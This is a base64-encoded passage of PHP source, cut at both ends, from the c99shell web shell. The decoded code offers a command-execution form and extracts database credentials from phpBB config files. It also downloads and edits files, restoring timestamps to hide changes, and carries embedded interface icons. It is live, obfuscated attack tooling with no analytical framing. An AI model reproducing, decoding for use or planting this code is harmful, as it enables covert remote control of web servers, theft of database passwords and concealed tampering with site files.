Ck7CiAgIGVjaG8gIjxiPkV4ZWN1dGUgZmlsZTo8L2I+PGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNtZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIlwiIHNpemU9XCIiLihzdHJsZW4oJGNtZCkrMikuIlwiPjxicj5EaXNwbGF5IGluIHRleHQtYXJlYTxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPjwvZm9ybT4iOwogIH0KICBlbHNlaWYgKCRmdCA9PSAic2RiIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAodW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkcikpKTsgZWNobyAiPC9wcmU+Ijt9CiAgZWxzZWlmICgkZnQgPT0gImNvZGUiKQogIHsKICAgaWYgKGVyZWcoInBocCIuIkJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKQogICB7CiAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCRyKTsKICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkKICAgIHsKICAgICBpbmNsdWRlKCRkLiRmKTsKICAgICBlY2hvICI8Yj5waHBCQiBjb25maWd1cmF0aW9uIGlzIGRldGVjdGVkIGluIHRoaXMgZmlsZSE8YnI+IjsKICAgICBpZiAoJGRibXMgPT0gIm15c3FsNCIpIHskZGJtcyA9ICJteXNxbCI7fQogICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zcWwmc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRiaG9zdCkuIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnVzZXIpLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJGRicGFzc3dkKS4iJnNxbF9wb3J0PTMzMDYmc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkZGJuYW1lKS4iXCI+PGI+PHU+Q29ubmVjdCB0byBEQjwvdT48L2I+PC9hPjxicj48YnI+Ijt9CiAgICAgZWxzZSB7ZWNobyAiQnV0LCB5b3UgY2FuJ3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwgYmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIuJGRibXMuIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgYzk5c2hlbGwuIFBsZWFzZSwgcmVwb3J0IHVzIGZvciBmaXguIjt9CiAgICAgZWNobyAiUGFyYW1ldGVycyBmb3IgbWFudWFsIGNvbm5lY3Q6PGJyPiI7CiAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7CiAgICAgZm9yZWFjaCAoJGNmZ3ZhcnMgYXMgJGs9PiR2KSB7ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRrKS4iPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPGJyPiI7fQogICAgIGVjaG8gIjwvYj48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgICB9CiAgIH0KICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsKICAgaWYgKCFlbXB0eSgkd2hpdGUpKSB7QG9iX2NsZWFuKCk7fQogICBoaWdobGlnaHRfZmlsZSgkZC4kZik7CiAgIGlmICghZW1wdHkoJHdoaXRlKSkge2M5OXNoZXhpdCgpO30KICAgZWNobyAiPC9kaXY+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikKICB7CiAgIEBvYl9jbGVhbigpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGQuJGYpKTsKICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOwogICBlY2hvICRyOwogICBleGl0OwogIH0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpCiAgewogICBAb2JfY2xlYW4oKTsKICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQvcGxhaW4iKTsKICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIi50eHRcIjsiKTsKICAgZWNobygkcik7CiAgIGV4aXQ7CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJpbWciKQogIHsKICAgJGluZiA9IGdldGltYWdlc2l6ZSgkZC4kZik7CiAgIGlmICghJHdoaXRlKQogICB7CiAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9CiAgICAkd2lkdGggPSAkaW5mWzBdLzEwMCokaW1nc2l6ZTsKICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsKICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsKICAgICRzaXplcyA9IGFycmF5KCIxMDAiLCI1MCIsIjIwIik7CiAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpCiAgICB7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJmQ9Ii51cmxlbmNvZGUoJGQpLiImaW1nc2l6ZT0iLiR2LiJcIj4iOwogICAgIGlmICgkaW1nc2l6ZSAhPSAkdiApIHtlY2hvICR2O30KICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9CiAgICAgZWNobyAiPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICB9CiAgICBlY2hvICI8YnI+PGJyPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgd2lkdGg9XCIiLiR3aWR0aC4iXCIgaGVpZ2h0PVwiIi4kaGVpZ2h0LiJcIiBib3JkZXI9XCIxXCI+PC9jZW50ZXI+IjsKICAgfQogICBlbHNlCiAgIHsKICAgIEBvYl9jbGVhbigpOwogICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsKICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOwogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsKICAgIHJlYWRmaWxlKCRkLiRmKTsKICAgIGV4aXQ7CiAgIH0KICB9CiAgZWxzZWlmICgkZnQgPT0gImVkaXQiKQogIHsKICAgaWYgKCFlbXB0eSgkc3VibWl0KSkKICAgewogICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkZC4kZik7fQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsKICAgIGlmICghJGZwKSB7ZWNobyAiPGI+Q2FuJ3Qgd3JpdGUgdG8gZmlsZSE8L2I+Ijt9CiAgICBlbHNlCiAgICB7CiAgICAgZWNobyAiPGI+U2F2ZWQhPC9iPiI7CiAgICAgZndyaXRlKCRmcCwkZWRpdF90ZXh0KTsKICAgICBmY2xvc2UoJGZwKTsKICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJGQuJGYsJHN0YXRbOV0sJHN0YXRbOF0pO30KICAgICAkciA9ICRlZGl0X3RleHQ7CiAgICB9CiAgIH0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcikpOwogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQogICBpZiAoJHJvd3MgPiAzMCkgeyRyb3dzID0gMzA7fQogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4iYWN0PWxzJmQ9Ii5zdWJzdHIoJGQsMCwtMSkpLiInO1wiIHZhbHVlPVwiQmFja1wiPjxicj48dGV4dGFyZWEgbmFtZT1cImVkaXRfdGV4dFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsKICB9CiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9CiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5Vbmtub3duIGV4dGVuc2lvbiAoIi4kZXh0LiIpLCBwbGVhc2UsIHNlbGVjdCB0eXBlIG1hbnVhbGx5LjwvYj48L2NlbnRlcj4iO30KfQp9Cn0KZWxzZQp7CkBvYl9jbGVhbigpOwokaW1hZ2VzID0gYXJyYXkoCiJhcnJvd19sdHIiPT4KIlIwbEdPRGxoSmdBV0FJQUFBQUFBQVAvLy95SDVCQVVVQUFFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1EiLgoiU0lyVVpHWm9lcktmMjhLalBOUE9ha3U1UmZaK3VRc0toOFJpb2dBQU93PT0iLAoiYmFjayI9PgoiUjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFBQVlBTEFBQUFBQVVBQlFBQUFNOCIuCiJhTHJjL2pES1NXV3BqVnlzU05pWUo0Q1VPQkpvcWpuaUlMend1ekx0WU4vM3pCU0VyZjZrQlcrZ0tSaVBSZ2hQaCtFRkswbU9VRXF0Ii4KIldnMEpBRHM9IiwKImJ1ZmZlciI9PgoiUjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLy9qNCtOM2QzY3pNekxLeXNvYUdodi8vL3lINUJBRUFBQWNBTEFBQUFBQVVBQlFBQUFObyIuCiJlTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1VmpwNExtd0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1EIi4KIkRsd3Y0Y0VDNDZtaTJZZ0pRS2F4c0VHREZubkd3V0RURXpqOWpyUFJkYmh1RzhDci8ySU5aSU9FaFhzYkR3a0FPdz09IiwKImNoYW5nZSI9PgoiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgrNkZ0SDU2V1p0dnIvUkFRRVplY3g5TGwvUFg2L3YzKyIuCiIvM2VIdDZxODhlSHUvWmtmSDN5VnlJdVF0KzcyL2tPbTk5Zm8vUDhBWm01N3JrR1M0SGV6NnBpbDlvZXAzR1ptWnYvLy95SDVCQUVBIi4KIkFCOEFMQUFBQUFBVUFCUUFBQVdmNENlT1pHbWU2Tm10TE91bFgrYzRUVk5WUTdlOXFGemZnNEhGb25rZEpBNVM1NGNiUkFvRnlFT0MiLgoid1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4OG1kRytvQWJTWWRhSDRHYTNjOEpCTUphWFFHQlFnQSIuCiJDSGtqRTRhUWtRMEFsU0lUYW4rWkFRcWtpaVFQajFBRkFhTUtFS1lqRDM5UXJLd0tBYThuR1FLOEFndS9DeFRDc0NNZXhzZkl4akRMIi4KInpNc2hBRHM9IiwKImRlbGV0ZSI9PgoiUjBsR09EbGhGQUFVQU9aWkFQejgvTlBGeU5nSExzMFlPdlB6OC9iMjlzYWNwTlhWMWZYMTljd1hPZkR3OEtlbnAvbjUrZXRnZXVucCIuCiI2ZGNHTE1NcFJ1cnE2cEtTa3R2YjIrL3Y3KzF3aDNSMGRQblAxN2lBaXB4eWVsOWZYN2RqY3NjU005M2QzWkdSa2VFc1RldmQ0TEN3Ii4KInNHUmtaR3BPVStJZlErRVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJzeGNjT3g4a2NNNFV0WTlXZUFkUVltSmlmV3YiLgoidkh4OGZNbkp5Y00zVWYzdjhyUnVlOThPTmJPenM5WUZLNVNVbEtZb1ArVGs1TjBvU3VmbjU3WkdXc1FyUjlrSUw1Q1FrT1BqNDJWbCIuCiJaZUFQTnVkQVg5c0tNUHY3KzE1UVU1dWJtMzkvZjhlNXU0eGlhdHJhMnViS3o4UER3K3BmZWU5L2xNSzB0ODFyZmQ4QUtmLy8vd0FBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINSIuCiJCQUVBQUZrQUxBQUFBQUFVQUJRQUFBZXNnRm1DZzRTRmhvZUloaVVmSUltSU1sZ1FCNDZHTEFsWVFrYUZWVmhTQUlaTFQ1Y2JFWUk0Ii4KIlNUbzVNeE9maFF3QkExZ1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZoNEhESlJaVkZnUFBGQlIwRmtOV0RkTUhBOEciLgoiQlpUYU1DSVNWZ01DNElrVldDY2FQU2k5Nk9xR05GaEtJMDRkZ3IwUVdGY0tETDNBNHVPSWpWWlpBQnhRSVdEQkxrSUVRclJvUXNIUSIuCiJqd1ZGSEJnaUVHUUZJZ1Fhc1lrY1NiSlFJQUE3IiwKImRvd25sb2FkIj0+CiJSMGxHT0RsaEZBQVVBTE1JQUFEL0FBQ0FBSUFBQU1EQXdIOS9mLzhBQVAvLy93QUFBUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVUFCUUFBQVJPRU1sSnE3MDRVeUdPdmtMaGZWVTRrcE9KU3B4NW5GOVlpQ3RMZjBTdUg3cHUiLgoiRVlPZ2NCZ2t3QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpzTWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsCiJmb3J3YXJkIj0+CiJSMGxHT0RsaEZBQVVBUElBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4KImFMcmMvakRLMlFwOXhWNVdpTjVHNTBGWmFSTEQ2SWhFNjZMcHQzUkRiZDlDUUZTRTRQKytRVzdIZTdVS1BoMElxVncybDBSUVNFcXQiLgoiV3FzSkFEcz0iLAoiaG9tZSI9PgoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNekxLeXNvYUdobVptWmdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUNINUJBRUFBQWtBTEFBQUFBQVVBQlFBQUFSK01NazVUVFdJNmlweU1vTzNjVVdSZ2VKb0NDYUxvS08wbXEwWnhqTlNCRFdTIi4KImtycUFzTGZKN1lRQmw0dGlSQ1lGU3BQTWRSUkNvUU9pTDRpOENnWmdrMDlXZldMQllaSEI2VVdqQ2VxdXdFREh1T0VWSzNRdGdOL2oiLgoiVndNckJEWnZnRitDaEhhR2VZaUNCUVlIQ0g4VkJKYVdkQWVTbDVZaVc1K2dvQklSQURzPSIsCiJtb2RlIj0+CiJSMGxHT0RsaEhRQVVBTE1BQUFBQUFQLy8vNkNncE4zZDNjek16SWFHaG1abVpsOWZYLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBZEFCUUFBQVNCRU1sSnE3MDQ2MW02LytBSFpNVWduR2lxbmlOV0hIQXN6M0Y3RlVHdTczeE8iLgoiMkJaY3dHRG9FWGsvVXE0SUNBQ2VRNmZ6bVhUbG5zMGRkbGU5OWI3Y0Z2WXBFUjU1WjEwWHkxbEt0OHdwb0lzQUNyZGFxQnBZRVlLLyIuCiJkSDFMUldpRWUwcFJUWEJ2Vkh3VWQzbzZlRDZPSEFTWG1KbWFtSlVTWTUrZ254dWpwQklSQURzPSIsCiJyZWZyZXNoIj0+CiJSMGxHT0RsaEVRQVVBTE1BQUFBQUFQLy8vL0h4OGVycTZ1UGo0OTNkM2N6TXpMS3lzb2FHaG1abVpsOWZYd1FFQlAvLy93QUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBd0FMQUFBQUFBUkFCUUFBQVIxa01sSnEwUTQ2MHhSK0dBb0lNdmtoZUlZbE15SkJrSjhsbTZZeE1LaTZ6V1kiLgoiM0FLQ1liam8vWTRFUXFGZ0tJWVVoOEV2dVdRNlB3UEZRSnBVTHB1bnJYWkxyWUt4MjBHM29EQTcwOTNFc3YxOXE1Ty93b0Z1OVpBSiIuCiJSM2x1Zm1XQ1ZYMTNoM0tIZldXTWpHQkRrcE9VVFR1WG1KZ1JBRHM9IiwKInNlYXJjaCI9PgoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNek1EQXdMS3lzb2FHaG5kM2QyWm1abDlmWDAxTlRTa3BLUVFFQlAvLyIuCiIvd0FBQUNINUJBRUFBQTRBTEFBQUFBQVVBQlFBQUFTbjBNbDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2FwIi4KInM1SUtRY2N6OFhnSzRFR2dRcVdNdmtyU3NjeWxob2FGVm11WkxnVURBblp4RUJNT0RTbnJraGlTQ1o0Q0dyVVdNQStMTER4dVNIc0QiLgoiQWtONEMzc2ZCWDEwVkhhQko0UWZBNGVJVTRwaWpRY0ZtQ1ZvTmtGbGdnY01SU2NOU1VDZEp5aG9EYXNOWjVNVERWc1hCd2x2aVJtciIuCiJDYnE3QzZzSXJxYXdyS3dUdjY4aXlBNnJEaEVBT3c9PSIsCiJzZXR1cCI9PgoiUjBsR09EbGhGQUFVQU1RQUFBQUFBUC8vLy9qNCtPUGo0OTNkM2N6TXpNREF3TEt5c3BhV2xvYUdobmQzZDJabVpsOWZYMDFOVFVKQyIuCiJRaHdjSFAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4KIkFCQUFMQUFBQUFBVUFCUUFBQVdWSUNTS2lrS1dhRG11U2hDVWJqek13RW9HaFZ2c2ZIRUVOUllPZ2VnbGprZWcwUEY0S0JJRlJNSUIiLgoicUNhQ0o0ZUlHUVZvSVZXc1RmUW9YTWZvVWZtTVpyZ1oyR05EUEdJSTdnSkRMWUVyd0cxdmdXOENDUXR6Z0hpSkFuYUZoeXQyZHdRRSIuCiJPd2NNWm9aMGtKS1VsWmVPZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93PT0iLAoic21hbGxfZGlyIj0+CiJSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLgoiLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0iLAoic21hbGxfdW5rIj0+CiJSMGxHT0RsaEVBQVFBSGNBQUNINUJBRUFBSlVBTEFBQUFBQVFBQkFBaHdBQUFJZXAzQkU5bWxsaWMzQjVpVnBqZE12aC9NTGMreTFVIi4KInA5UG0vR1Z1ZmM3ai9NelYvOVhtL0VPbTk5Ym4vTmpwL2E3USt0VG0vTEhTK2VYdy90M3IvTm5wL2Rqby9OcnEvZmo3Lzl2cS9OZm8iLgoiL01iZSs4cmgvTW5nKzdqVytydlkrcjdaKzdYUjlkRGsvTkhrL05MbC9MVFUrcm5YKzh6aS9MYlYrK2Z4L2U3Mi92SDMvdkw0L3UzMSIuCiIvZTMxL3VEdS9kenIvT3J6L2VIdS9mWDYvdkg0L3YvLy8vdisvM2V6NnZmNy8vVDUva0dTNFB2OS83WFYrckhUK3IvYityemErdlA0Ii4KIi91ejAvdXJ6L3U3MS91dnovZFRuL00vay9OM3MvZHZyL2NqZys4UGQrOEhjK3NmZis4VGUrL0QyL3JYSThySEY4YnJNODdmSjhubVAiLgoid3IzTjg2L0Q4S3ZCOEY5bmVFRm90RUJudEVOcHRFTnB0U3hVcHgxSW9EbGZyVFJjclplZXlaYWN4cG1oekl1UnRwV1p4SXVPdUtxeiIuCiI5Wk9Xd1g2SXMzV0l1NWltMDdySjlKMnQyWmVrMG01N3JwcW8xbktDdFVWcnRZaXIzdmY2LzQ2djRZdXU0V1p2ZnI3UDZzUFM2c0RRIi4KIjY2WEI2Y2paOGEvSzc5L3MvZGJuL2V6ei9jemQ5bU4waktUQjZhaS83Nlc5N25pWHoyR0N3VjZBd1Vkc3RYeVZ5R1NEd25tWXo0aW8iLgoiMjRPaTFhM0I0NVN5NGFlOTQ0Q2N6NFNqMW4yR2xnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFqbkFDdFZDa0N3NEp4SkFRUXFGQmpBeG8wTU5HcXNBQlFBaDZDRkEzbmswTUhpUlJFVkRoenNvTFF3QUowZ1Q0VG9lY1NIQVlNeiIuCiJhUWdvRE5DQ1NCNEVBbkltQ2lTQmpVeUdMb2JnWEJUcGtBQTVJNnBnbVNrRHo1Y3VNU3o4eVdsQXlvQ1pGR2I0U1FLaEFTTUJYSnBNIi4KInVTclFFUXdrR2pZa1FDVEF5NkFsVU1oV2tsUUJ3NE1FaGdTQTZYUGdSeFM1aWk0MEtMRmdpNEJHVEVLQXNDS1hpaEVTQ3pyc2dTUUMiLgoieUlrVVYrU3FPWUxDQTRjc0F1cDg2T0dEa053NEJwUTRPYUJGZ0IwVEV5SVVLcUR3VFJzNGE5eU1DU09tREJveVp1NHNKS0Nnd0lEaiIuCiJ5QXNva0JrUUFEcz0iLAoibXVsdGlwYWdlIj0+IlIwbEdPRGxoQ2dBTUFKRURBUC8vLy8vM21RQUFBQUFBQUNINUJBRUFBQU1BTEFBQUFBQUtBQXdBQUFJajNJUiIuCiJwSmhDT0Rub3ZpZEFvdkJkTXp6a2l4bFhkbEkyb1pwSldFc1N5d0x6UlVBQUFPdz09IiwKInNvcnRfYXNjIj0+CiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1hIi4KIlNMcmNQY0U5R0tVYVFsUTVzTjVQbG9GTEozNU9vSzZxNVNZQU93PT0iLAoic29ydF9kZXNjIj0+CiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1iIi4KIlNMcmNPakJDQjRVVklUZ3lMdDVjaDJtZ1NKWkRCaTdwNmhJSkFEcz0iLAoic3FsX2J1dHRvbl9kcm9wIj0+CiJSMGxHT0RsaENRQUxBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4KIi8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNd0FBWmdBQW1RQUF6QUFBL3dBekFBQXpNd0F6WmdBem1RQXp6QUF6L3dCbSIuCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4KIk13RC9aZ0QvbVFEL3pBRC8vek1BQURNQU16TUFaak1BbVRNQXpETUEvek16QURNek16TXpaak16bVRNenpETXovek5tQURObU16Tm0iLgoiWmpObW1UTm16RE5tL3pPWkFET1pNek9aWmpPWm1UT1p6RE9aL3pQTUFEUE1NelBNWmpQTW1UUE16RFBNL3pQL0FEUC9NelAvWmpQLyIuCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4KInpHWm0vMmFaQUdhWk0yYVpabWFabVdhWnpHYVovMmJNQUdiTU0yYk1abWJNbVdiTXpHYk0vMmIvQUdiL00yYi9abWIvbVdiL3pHYi8iLgoiLzVrQUFKa0FNNWtBWnBrQW1aa0F6SmtBLzVrekFKa3pNNWt6WnBrem1aa3p6Smt6LzVsbUFKbG1NNWxtWnBsbW1abG16SmxtLzVtWiIuCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4KIk04d0Fac3dBbWN3QXpNd0EvOHd6QU13ek04d3pac3d6bWN3enpNd3ovOHhtQU14bU04eG1ac3htbWN4bXpNeG0vOHlaQU15Wk04eVoiLgoiWnN5Wm1jeVp6TXlaLzh6TUFNek1NOHpNWnN6TW1jek16TXpNLzh6L0FNei9NOHovWnN6L21jei96TXovLy84QUFQOEFNLzhBWnY4QSIuCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4KInpQK1ovLy9NQVAvTU0vL01adi9NbWYvTXpQL00vLy8vQVAvL00vLy9adi8vbWYvL3pQLy8veUg1QkFFQUFCQUFMQUFBQUFBSkFBc0EiLgoiQUFnNEFQOEpSRUZRNEQrQ0NCT2k0TWF3SVRlRkNnL2lRaEVQeGNTQmxGQ29RNUZ4NE1TS3YxQmdSR0dNbzBpSkZDMmVoSGpTb0